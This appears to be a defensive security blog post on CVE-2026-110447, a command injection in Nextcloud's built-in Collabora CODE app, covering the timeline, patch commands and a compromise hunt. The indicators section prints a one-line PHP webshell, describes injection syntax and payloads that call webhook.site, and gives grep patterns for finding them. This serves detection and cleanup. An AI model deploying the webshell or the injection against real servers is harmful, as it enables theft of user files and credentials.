On 23 October 2026 CISA added CVE-2026-110447 to its Known Exploited Vulnerabilities catalog and gave US federal agencies until 26 October to deal with it. The bug sits in Collabora Online - Built-in CODE Server, the Nextcloud app (package name richdocumentscode) that runs a bundled copy of Collabora's office suite inside Nextcloud, so people can edit documents in the browser without a separate document server. The NVD entry calls it an OS command injection in proxy.php, "exploited in the wild in September and October 2026", with a CVSS 4.0 score of 9.2.
What makes this one worth your time is the order of events. The fix shipped on 11 September. Admins logged the first successful attacks on 10 September. The CVE did not exist until 14 October. So if you updated the app late, or still have it installed but disabled, patching is only half the job. You also need to look for what the attackers left behind.
How the five weeks played out
- 31 August:
richdocumentscode26.4.302 is released, according to the project's GitHub releases. It and every earlier version are vulnerable. - 10 September: an admin who hosts several Nextcloud servers later posts access-log lines showing a successful attack at 19:51 that evening (issue #354).
- 11 September: version 26.4.303 ships with the fix. The issue above was opened about an hour after the release.
- 3 October: a post on the Nextcloud forum tells built-in CODE users to update "as soon as possible", noting that "no warning or CVE has been published" and that some users had already found webshells.
- 14 October: Collabora publishes advisory GHSA-g3vx-3m76-fghh and the CVE goes public.
- 23 October: CISA lists it as exploited. The same day,
richdocumentscode26.4.502 is released.
Why the CVE arrived so late
Collabora's blog post of 15 October says its security team has handled roughly ten years' worth of reports this year, many of them from AI-driven audits, and that the time to get a GitHub CVE published "has gone from around a day to many weeks this year." A Collabora developer pointed to the same GitHub advisory backlog in the issue thread on 14 September. Collabora says it is applying to become a CVE Numbering Authority to shorten that delay.
This is not a one-off. The Patchless Window project measured 18,594 open source CVEs between January and August 2026 and found a median of 39 days in August between the public code fix and CVE publication. If your patching is driven by a vulnerability scanner, that is more than a month in which the fix is public, attackers can read the diff, and your tooling shows nothing. Our view: for anything facing the internet, apply vendor app updates when they ship, and treat the CVE as a late confirmation.
Are you affected?
You are exposed if Nextcloud has richdocumentscode installed at a version below 26.4.303 and the instance is reachable by attackers. The advisory adds several details that change the answer for real deployments:
- Disabled does not mean safe. The advisory says "It is not sufficient to disable the app to avoid the problem, it must be upgraded to >= 26.4.303 or removed." An admin confirmed on 30 October that the attack worked against a disabled app.
- The window opens on every restart. The injection only works while the built-in CODE server is not running: after a container restart, an upgrade or a crash. That sounds narrow until you count how often a Nextcloud box reboots or gets upgraded.
- Separate Collabora servers are fine. Standalone Collabora Online is not affected. Collabora's blog also lists its Docker images, RPM/DEB packages and Nextcloud All-in-One images as unaffected. If you use Nextcloud Office pointed at your own Collabora container and
richdocumentscodeis not installed, this bug does not apply to you. - Old Nextcloud. Versions 29 and older are end of life, and the advisory says to upgrade Nextcloud or remove the app.
- Different from last year's bug. It is not CVE-2025-66208, and the fix for that issue does not stop this one.
On ARM servers the app store carries a separate package, richdocumentscode_arm64. The advisory names only richdocumentscode, so if you run ARM, check that directory as well and keep it current.
Check and fix in two minutes
Run these from the Nextcloud directory as the web server user (adjust the path and user to your install):
cd /var/www/nextcloud
sudo -u www-data php occ app:list | grep richdocumentscode
# Docker image installs
docker exec -u www-data <nextcloud-container> php occ app:list | grep richdocumentscode
app:list prints both enabled and disabled apps with their versions. Anything below 26.4.303 needs action now:
sudo -u www-data php occ app:update richdocumentscode
# or, if nobody edits documents in the browser:
sudo -u www-data php occ app:remove richdocumentscode
Go to 26.4.502 if you can. According to a Collabora maintainer on the issue, that release also stops the bundled CODE process when the app is disabled.
Look for signs it already happened
If the app was below 26.4.303 at any point after 10 September, assume you need to check. Updating does not remove anything an attacker already wrote.
1. Access logs. The requests posted in issue #354 target /apps/richdocumentscode/proxy.php?status with shell syntax in the path: $(, ${IFS} and a base64 blob piped to sh, sometimes with %2e%2e to climb directories. A quick search, including rotated logs:
zgrep -h 'richdocumentscode/proxy.php' /var/log/nginx/access.log* /var/log/apache2/access.log* 2>/dev/null \
| grep -E '\$\(|%24%28|IFS|base64'
The source addresses reported in the thread were 139.28.18.122 on 10 and 11 September and 89.38.98.50 on 14 September. Treat those as examples, not a blocklist. If your logs only go back four weeks, the earliest attacks are already gone, and that is worth writing down in your incident notes.
2. Webshells. Decoding the payload from the issue gives a one-line PHP file that runs whatever command arrives in the c parameter: <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');. File names change per request. Reported examples are shrf4645.php and shxa35d0.php in issue #354, shx13a86.php in a follow-up comment, and Nx_33143.php inside apps/richdocumentscode/ on the forum thread. Two of those admins found the files because Nextcloud's integrity check flagged an extra file after an upgrade, so start there:
sudo -u www-data php occ integrity:check-app richdocumentscode
sudo -u www-data php occ integrity:check-core
grep -rlF 'shell_exec($c' /var/www/nextcloud --include='*.php'
find /var/www/nextcloud -type f \( -name 'sh*.php' -o -name 'Nx_*.php' \) -newermt 2026-09-01
The find line gives you a review list, not a verdict. A Nextcloud upgrade after 1 September rewrites legitimate files too, so open anything it returns before deleting it.
3. Outbound callbacks. The decoded payloads report back to webhook.site with the output of uname -a, using curl or wget. Search your DNS resolver, proxy or firewall logs for that domain from the Nextcloud host.
4. Processes and persistence. Run ps -u www-data -o pid,lstart,args and look for sh, curl or wget children, then check crontab -u www-data -l for entries you did not add. A Collabora developer said some leftover process lines after the first launch look alarming but "should be harmless". Check them anyway.
If you find a webshell
The shell runs as the web server user. On a typical install that user can read config/config.php, which holds the database password, the instance secret, the SMTP password Nextcloud uses for notification mail and any object storage keys. With the database password it can reach everything stored there too, including LDAP bind settings. It can also read the data directory, which means every user's files. BleepingComputer reported that admins saw attackers search for password databases, password manager files and cryptocurrency wallets. One commenter said ransomware operators had started using the flaw, which BleepingComputer could not confirm.
A sensible order of work:
- Copy the logs and the webshell files somewhere safe before you delete anything, then put the instance in maintenance mode (
occ maintenance:mode --on) or cut it off at the firewall. - Remove the shells, update or remove the app, and run both integrity checks again until they come back clean.
- Rotate every credential in
config.php: database user, SMTP, LDAP bind, S3 or Swift keys, plus API tokens for anything Nextcloud talks to. If people use the Nextcloud Mail app, their saved mailbox passwords are encrypted with key material from that same file, so ask them to change those passwords at the mail server. - Check the admin group (
occ group:list) for accounts you do not recognise and review app passwords. - If you find anything beyond the shell file itself, such as changes outside
apps/, new cron jobs or unknown binaries, rebuild the host from a clean image and restore data from a backup taken before 10 September, rather than cleaning in place.
The pattern is the same one we described after the Citrix NetScaler zero-days: a patch closes the door, but it does nothing about keys that were copied while it was open.
What we would change after this
The built-in CODE app exists for convenience. It lets a PHP script inside Nextcloud download and start an AppImage, and that convenience is exactly where the injection lived. For a business instance we would run Collabora as its own container behind the reverse proxy and point Nextcloud Office at it, which is a setup Collabora lists as unaffected. Beyond that:
- Remove apps you do not use instead of disabling them. This bug is the clearest case for that rule we have seen this year.
- Schedule
occ app:update --allweekly. App fixes ship on their own schedule, separate from Nextcloud releases, as this one did. - Watch the PHP runtime too. Nextcloud is a PHP application, so last month's PHP2Shell fixes apply to it as well.
- A WAF helps at the edge. One admin reported that ModSecurity's anomaly scoring rules blocked these requests. It is a second layer, not a substitute for the update.
If you also run your own mail server next to Nextcloud, our Zimbra compromise check walks through the same kind of hunt for a mail stack.
Frequently asked questions
Which version of the Nextcloud Built-in CODE Server fixes CVE-2026-110447?
Collabora Online - Built-in CODE Server (richdocumentscode) 26.4.303, released on 11 September 2026, fixes it. Version 26.4.502 from 23 October 2026 is newer and also stops the bundled CODE process when the app is disabled.
Is a disabled richdocumentscode app still vulnerable?
Yes. The Collabora advisory says disabling the app is not enough. It must be upgraded to 26.4.303 or later, or removed with occ app:remove richdocumentscode.
Does CVE-2026-110447 affect a standalone Collabora Online server?
No. Collabora says standalone Collabora Online, its Docker images, RPM and DEB packages and Nextcloud All-in-One images are not affected. Only Nextcloud installs with the richdocumentscode app are.
How do I know if my Nextcloud server was compromised through this bug?
Search web server logs since 10 September 2026 for requests to /apps/richdocumentscode/proxy.php containing shell syntax, run occ integrity:check-app richdocumentscode and occ integrity:check-core, look for unexpected PHP files such as shx*.php in the apps directory, and check DNS logs for calls to webhook.site.
Sources: Collabora advisory GHSA-g3vx-3m76-fghh, NVD CVE-2026-110447, CISA KEV, richdocumentscode issue #354, Collabora blog, 15 October 2026 and the other links above.


